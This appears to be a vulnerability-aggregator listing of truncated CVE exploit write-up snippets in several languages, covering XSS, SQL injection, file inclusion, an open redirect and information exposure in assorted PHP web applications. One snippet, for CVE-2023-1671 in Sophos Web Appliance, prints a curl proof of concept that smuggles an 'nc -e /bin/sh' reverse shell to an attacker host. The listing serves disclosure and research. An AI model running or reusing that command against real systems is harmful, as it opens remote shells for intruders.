CVE-2018-1263-Demo

Demo de exploit Esta guía te ayudará a instalar el componente vulnerable y realizar el ataque relacionado con el error de phpMyAdmin mencionado en CVE-2018-1263. Descripción de CVE Por qué existe la vulnerabilidad Cómo funciona el ataque Cómo instalar el componente vulnerable Cómo realizar el...

CVE-2023-34632

CVE-2023-34632 XSS riflesso in 1000projects Book Management System 1.0 CVE-2023-34632 Cross-Site Scripting XSS riflesso in 1000projects Book Management System 1.0 Descrizione È stata scoperta una vulnerabilità di Cross-Site Scripting XSS riflesso in 1000projects Book Management System versione 1....

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance 中的预认证远程代码执行漏洞 Poc root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip =...

CVE-2024-48589

phpAbook 9.0i - Vulnerabilità di Cross-Site Scripting XSS CVE-2024-48589 Riepilogo: È stata scoperta una vulnerabilità di Cross-Site Scripting XSS nel parametro rol di index.php o nella sezione del percorso nell'applicazione phpAbook. Questa vulnerabilità consente a un attaccante di iniettare...

CVE-2025-55885

CVE-2025-55885 Descrizione Vulnerabilità di SQL Injection in Alpes Recherche et Developpement ARD GEC en Ligne prima della v.2025-04-23 che consente a un attaccante remoto di aumentare i privilegi tramite i parametri GET in index.php Vettori d'attacco SQL Injection tramite il parametro GET non...

CVE-2021-39377

OPENSIS 8.0 SQL इंजेक्शन भेद्यता CVE-2021-39377 openSIS के संस्करण 8.0 में SQL इंजेक्शन भेद्यता मौजूद है, जब MySQL MariaDB का उपयोग एप्लिकेशन डेटाबेस के रूप में किया जा रहा हो। एक दुर्भावनापूर्ण हमलावर कमजोर username= पैरामीटर के माध्यम से MySQL MariaDB डेटाबेस को SQL कमांड जारी कर सकता है। कमजोर...

CVE-2024-35468

CVE-2024-35468 Segnalato da: Kha Do Sistema di gestione delle risorse umane 1.0 Vulnerabilità SQL injection Descrizione La vulnerabilità di SQL injection in /hrm/index.php in SourceCodester Human Resource Management System 1.0 consente agli attaccanti di eseguire comandi SQL arbitrari tramite i...

CVE-2025-63589

CVE-2025-63589 XSS riflesso nella gestione del percorso di index.php di CMSimpleXH Scoperto: 6 ottobre 2025 Prodotti: CMSimpleXH CMS open-source flat-file Versioni interessate: 1.8 CVE: CVE-2025-63589 Autenticazione richiesta: Nessuna senza autenticazione Tipo di attacco: Cross-Site Scripting...

CVE-2021-40353

CVE-2021-40353 CVE-2021-40353 Vulnérabilité d'injection SQL dans openSIS 8.0 https://vulners.com/cve/CVE-2021-40353 Une vulnérabilité d'injection SQL existe dans la version 8.0 d'openSIS lorsque MySQL ou MariaDB est utilisé comme base de données de l'application. Un attaquant peut alors émettre l...

CVE-2021-42663

CVE-2021-42663 CVE-2021-42662 - Vulnerabilità di HTML injection nel sistema di prenotazione e prenotazione di eventi online versione 2.3.0. Descrizione tecnica: Esiste una vulnerabilità di HTML injection nel sistema di prenotazione e prenotazione di eventi online versione 2.3.0. Un attaccante può...

CVE-2021-39433

CVE-2021-39433 Una vulnerabilità di inclusione locale di file LFI esiste nella versione BIQS IT Biqs-drive v1.83 e precedenti quando si invia un payload specifico come parametro file a download/index.php. Ciò consente all'attaccante di leggere file arbitrari dal server con i permessi dell'utente...

GetSimple CMS 3.3.13 - Open Redirect

GetSimple CMS 3.3.13 contains an open redirect vulnerability via the admin/index.php redirect parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2019-9915 info: name: GetSimple CMS...

Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting

Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATHINFO variable to index.php due to insufficient validation for the timezone object in the HOMEMEETING& page. id:...

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Reflected-Cross-Site-Scripting-Vulnerability

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Vulnerabilità-di-Cross-Site-Scripting-Riflesso Autore dell'exploit: ersinerenler Homepage del fornitore https://code-projects.org/blood-bank-in-php-with-source-code Link del software...

CVE-2022-27414

CVE-2022-27414 - Iniezione SQL College Website CMS v1.0 - CVE-2022-27414 - Iniezione SQL URL CVE root@kitploit: https://vulners.com/cve/CVE-2022-27414 PoC di seguito Codice vulnerabile inizia dalla riga 9 in "cwms\departments\index.php" root@kitploit: query"SELECT FROM departmentlist where...

CVE-2025-6082

CVE-2025-6082 PoC per Full Path Disclosure Autore : Byte Reaper Telegram : @ByteReaper0 CVE : CVE-2025-6082 Vulnerabilità : Full Path Disclosure CWE-200 Descrizione Questa Proof‑of‑Concept sfrutta un bug di Full Path Disclosure nel plugin WordPress Birth Chart Compatibility versioni ≤ 2.0. Il POC...

CVE-2021-39408

CVE-2021-39408 Una vulnerabilità di Cross Site Scripting XSS riflesso esiste in più versioni 1.0 dell'applicazione Online Student Rate System che consente l'esecuzione arbitraria di comandi JavaScript. Pagina vulnerabile In index.php, il parametro page è vulnerabile, consentendo a un attaccante d...

CVE-2026-56380

AVideo through commit 9c39d8c8 contains an information exposure vulnerability in feed/index.php that allows unauthenticated attackers to retrieve channel owner email addresses by supplying a public channel name parameter. Attackers can enumerate all creator email addresses by iterating through...

EUVD-2026-64259

AVideo through commit 9c39d8c8 contains an information exposure vulnerability in feed/index.php that allows unauthenticated attackers to retrieve channel owner email addresses by supplying a public channel name parameter. Attackers can enumerate all creator email addresses by iterating through...

CVE-2026-56380 AVideo feed/index.php Exposure of Channel Owner Email Address

AVideo through commit 9c39d8c8 contains an information exposure vulnerability in feed/index.php that allows unauthenticated attackers to retrieve channel owner email addresses by supplying a public channel name parameter. Attackers can enumerate all creator email addresses by iterating through...